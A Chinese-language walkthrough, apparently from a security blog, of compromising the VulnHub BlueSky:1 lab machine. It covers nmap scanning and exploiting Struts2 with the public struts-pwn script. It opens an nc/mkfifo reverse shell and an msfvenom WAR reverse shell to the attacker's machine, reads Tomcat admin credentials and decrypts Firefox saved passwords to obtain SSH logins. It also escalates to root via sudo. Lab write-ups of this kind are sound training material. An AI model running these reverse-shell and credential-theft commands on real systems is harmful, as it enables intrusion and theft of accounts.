VulnHub-BlueSky: 1 靶场渗透测试 – 作者:ch4ngeba

作者:ch4nge
时间:2021.1.21

靶场信息:

地址:https://www.vulnhub.com/entry/bluesky-1,623/
发布日期:2020年12月10日
难度:简单
目标:获取root shell即(root@localhost:~#),然后在/root下获取标志
运行:VMware Workstation 16.x Pro(默认的NAT网络模式,VMware比VirtualBox更好地工作)

前言

由于刚开始使用VirtualBox搭建没有扫描到靶机的ip,VMware 没有遇到这个问题,所以本次靶场使用VMware Workstation 16.x Pro进行搭建运行。将我的kali系统和靶机一样使用NAT网络模式。本次演练通过kali系统进行,按照渗透测试的过程进行。这是我找的比较新的一个vulnhub靶场,此次靶机渗透级别为简单,但是操作并不算简单。文章有不对的地方欢迎师傅指正~

一、信息搜集

1. 靶机ip

使用nmap进行扫描,得到ip 192.168.147.136

nmap -sP 192.168.147.0/24

1611065360_6006e8108c8b1f2786926.png!small?1611065361636

但是仅看这个结果还无法判断哪个IP是靶机的,我们指定常用端口进行扫描

nmap -sS -p80,443,8080,22,3306 192.168.147.0/24

1611065641_6006e92900f7874de21f6.png!small?1611065642101

这样就可以准确的判断出靶机IP了,也可以使用

nmap -sS -P 192.168.147.0/24

-P不指定参数,默认扫描top1000端口

1611065938_6006ea52cce90236ab71c.png!small?1611065939894

2. 靶机端口服务版本

nmap -sS -sV -T5 -A -p- 192.168.147.136

1611066078_6006eade7aae44a395755.png!small?1611066079547

得到

PORT          STATE     SERVICE        VERSION
22/tcp        open       ssh               OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
8080/tcp      open       http              Apache Tomcat 9.0.40

openssh和tomcat版本都比较高呀

3. 网站信息搜集

访问192.168.147.136:8080

1611143828_60081a9461bbdf0e92502.png!small?1611143828844

使用的是apache tomcat的中间件

二、漏洞探测

搜索了apache tomcat版本的漏洞、又扫描目录都没有结果,尝试openssh枚举用户名也没有收获。好难的简单难度呀!

找了一下大佬的做法,发现有一个大佬前天刚发布的视频操作,嘿嘿~赶快学习一下

链接https://www.油管.com/watch?v=vCLGxC5KMLU

1611144603_60081d9b56d7a9e677cdb.png!small?1611144603542

由于我的爱国情怀,英语水平就低了,听不懂大佬说的话,直接看了下操作,利用的是Struts2漏洞,

但是我的扫描器为什么扫描不到这个漏洞的路径呢?难受,先把这个路径添加到我的字典里面去~

http://192.168.147.136:8080/struts2-showcase/index.action

1611146622_6008257e785f35f75ec70.png!small

使用Struts2版本漏洞测试工具可以检测到漏洞存在

1611149950_6008327eae4e9d9735d66.png!small?1611149951039

这里使用网上的exp脚本进行漏洞利用。搜索一下这个漏洞的利用exp,git到本地,进行漏洞利用

下载exp
git clone https://github.com/mazen160/struts-pwn.git
漏洞测试
python struts-pwn.py --url "http://192.168.147.136:8080/struts2-showcase/index.action"

1611154252_6008434ce20ceb88ba975.png!small?1611154252985

三、漏洞利用

1. 命令执行漏洞利用

python struts-pwn.py --url "http://192.168.147.136:8080/struts2-showcase/index.action" -c "whoami"

1611154435_600844030fe7a9f99d22f.png!small?1611154435122

使用nc反弹shell,先查看nc命令是否存在

1611155000_60084638d362be541f204.png!small

查看nc是否存在-e参数,结果不存在

1611155129_600846b9a35763d8278e5.png!small?1611155129833

使用管道进行重定向,反弹shell,命令解析参考链接(很详细)

先创建一个管道

mkfifo /tmp/p p

1611155921_600849d10a3da2592f8dd.png!small?1611155921074

本地监听4444端口,等待反弹shell

nc -lvp 4444

1611156002_60084a2219144ab5c0907.png!small?1611156002124

反弹shell,将内容传递使用管道文件p作为桥梁,进行数据重定向传递

python struts-pwn.py --url "http://192.168.147.136:8080/struts2-showcase/index.action" -c "/bin/sh 0</tmp/p | nc 192.168.147.129 4444 1>/tmp/p"

1611156037_60084a45e1df2bede7dc9.png!small?1611156038029

使用python3将shell升级为交互式shell(靶机没有python2环境)

python3 -c 'import pty; pty.spawn("/bin/bash")'

1611156214_60084af6392d9abbb669b.png!small?1611156214300

得到user.txt

Try your best, you have passed the first challenge, and the last one is for you, root me!

2. 服务器信息搜集

因为web中间件是tomcat,tomcat路径为/usr/local/tomcat,我们可以找到tomcat的用户名密码文件/conf/tomcat-users.xml

要就要管理员

username:admin

password:6mzf3>gfZ.pN8_Mp

1611157015_60084e17aa22caa3366f0.png!small?1611157015785

登录一下试试

1611157366_60084f76c7cce4df8d5f9.png!small

ok~发现下面可以部署war文件

1611157399_60084f978c515b9dc33de.png!small?1611157399656

3. WAR木马上传反弹shell

msfvenom可以生成WAR格式的木马进行反弹shell

msfvenom  -p java/jsp_shell_reverse_tcp LHOST=192.168.147.129 LPORT=5555 -f war -o shell.war 

1611157873_6008517107df3a5995be2.png!small?1611157873022

上传文件

1611157986_600851e2274ae43b2aff8.png!small?1611157986317

监听端口5555,然后访问shell(点击)

1611158115_60085263320c6d1963f13.png!small?1611158115254

得到shell,同样的,使用python3升级为交互式shell

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

1611158203_600852bbb5d62b47d7af8.png!small?1611158203713

4. mozilla firefox信息搜集

在用户根目录下发现mozilla firefox浏览器文件

1611158553_60085419682122f9db959.png!small

对我来说,最想要得到的就是它的用户名密码记录

不同版本的Firefox保存密码记录的文件名称不同,在网上找到firefox浏览器存储用户名密码的文件是logins.json(版本号大于等于32.0)或者signons.sqlite(版本号大于等于3.5,小于32.0),具体信息参考

使用locate得到它的位置

minhtuan@ubuntu:~/.mozilla$ locate logins.json                                                                     
locate logins.json                                                                                                 
/home/minhtuan/.mozilla/firefox/fvbljmev.default-release/logins.json

使用脚本进行解密,脚本来源,支持环境python3,支持key3.db和key4.db的Password解密

git clone https://github.com/lclevy/firepwd.git

cd firepwd

pip3 install -r requirements.txt

运行文件会提示需要key4.db or key3.db

在靶机中建立http服务,在本地将文件下载出来

1611159832_60085918d040b1375f3b9.png!small?1611159833117

再次运行exp文件,得到用户信息,这个用户密码就是ssh的用户密码

用户名:minhtuan

密 码:skysayohyeah

1611159954_60085992eb7636d10e8d8.png!small?1611159955073

四、权限提升

使用sudo -l进行提权

1611160269_60085acd651e18b1859a0.png!small?1611160269396

1611160279_60085ad7b6878aa74721b.png!small?1611160279731

得到标志

Amazing, goodjob you!
Thank you for going here

SunCSR Team

总结

这次的靶场感觉难点在于Struts2漏洞的探测,还有就是需要注意tomcat的信息搜集(用户名密码配置文件)、mozilla firefox的密码记录文件,这三点是通过游戏的关键,现在还不明白如何探测到Struts2漏洞的,因为我的扫描器没有扫描到此漏洞,求路过的师傅解惑 QAQ

来源:freebuf.com 2021-01-21 00:52:47 by: ch4ngeba

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论